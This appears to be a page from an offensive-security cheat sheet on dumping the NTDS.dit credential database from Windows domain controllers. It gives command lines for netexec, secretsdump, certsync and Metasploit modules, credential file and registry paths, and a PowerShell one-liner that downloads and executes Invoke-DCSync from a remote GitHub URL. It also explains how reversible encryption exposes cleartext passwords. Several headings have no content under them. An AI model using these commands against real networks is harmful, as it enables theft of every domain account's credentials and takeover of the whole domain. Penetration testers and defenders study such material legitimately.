NTDS Dumping
Dump NTDS from Domain Controller
Tools: CrackMapExec/Netexec , secretsdump , ntdsutil , metasploit , certsync
netexec smb DC_IP -u USER -p PASSWORD -d DOMAIN --ntds
impacket-secretsdump 'DOMAIN/USER:PASSWORD'@IP -just-dc-ntlm
windows/gather/credentials/domain_hashdump (Metasploit)
certsync -u USER -p PASSWORD -d DOMAIN -dc-ip DC_IP -ns NAMESERVER_IP
use auxiliary/admin/smb/psexec_ntdsgrab (Metasploit)Invoke-DCSync
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/Invoke-DCSync.ps1")Invoke-DCSync -dcfqdn DC01.security.local -username administratorMimikatz
PsMapExec
NTDSUtil
With these techniques you can move everywhere within the entire domain, as well as possibly compromise the Enterprise Admin (in this case it's game over)
DUMP DOMAIN CONTROLLER HASHES LOCALLY WITH NTDSUTIL
required files:
1) C:\windows\NTDS\ntds.dit
2) C:\windows\system32\config\SYSTEM
3) C:\windows\system32\config\SECURITY
Locating the ntds custom location: reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"
DUMP DOMAIN CONTROLLER HASHES WITH WBADMIN
CRACKMAPEXEC
VOLUME SHADOW COPY (VSS)
NTDS Reversible Encryption
UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (0x00000080), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form.
The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin. This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.
The password retrieval is already handled by SecureAuthCorp/secretsdump.py and mimikatz, it will be displayed as CLEARTEXT.
Last updated